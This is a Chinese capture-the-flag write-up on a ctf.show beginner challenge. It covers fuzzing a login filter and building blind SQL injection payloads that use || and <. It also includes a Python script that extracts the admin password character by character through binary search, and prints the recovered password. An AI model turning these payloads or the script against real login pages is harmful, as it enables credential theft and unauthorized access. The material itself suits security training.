CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

 

 有4个段子,查看前端没思路,开扫描

CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

 

 发现存在admin目录

CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

 

 发现存在注入

CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

 

 fuzz测试一波

 CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

 

发现括号 | 没过滤,其他比如 or and & # -- 啥的全都过滤了,而||就是or,有or就可以注入

首先测试观察可知,输入admin,密码随便输入会提示密码错误,反之会提示 用户名/密码错误,另外用户名太长会单独提示用户名错误(相当于xianzhi注入语句长度了)

既然账号为admin和不为admin回显不同,这里就可以盲注了

u='||'1'<'0  (这里大于号和等于号被过滤了,前面的单引号和后面省略一个单引号和原语句闭合)

CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

 

 

 CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

由于长度有限制,没法直接爆破字段名,这里靠一点点脑洞猜测密码字段名

CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

 

密码是p,构造u='||length(p)<'10 来探测密码位数(探测出来是17位)

构造u='||substr(p,1,1)<'a 来探测每一位是啥

写脚本跑吧

import requests

url = "http://7ade1780-adb8-42e3-9f71-c22cc4129184.challenge.ctf.show:8080//admin/checklogin.php"

result = ''
i = 0
ans="0123456789abcdefghijklmnopqrstuvwxyz"
print(len(ans))
while True:
    i = i + 1
    head = 0
    tail = 36

    while head < tail:
        mid = (head + tail) >> 1
        print(mid)
        payload="'||substr(p,"+str(i)+",1)<'"+ans[mid]+""
        print(payload)
        data = {"u":payload,"p":"1",
                }
        #print(payload)
        r = requests.post(url=url, data=data)
       #print(r.text)
        if "用户名"  in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += ans[head-1]
    else:
        break
    print(result)

密码是:cptbtptpbcptdtptp

CTFSHOW-日刷-[萌新赛]萌新记忆/sql盲注

 

 

 

 

 

上一篇:Nginx常用基本命令


下一篇:go数组实现环形队列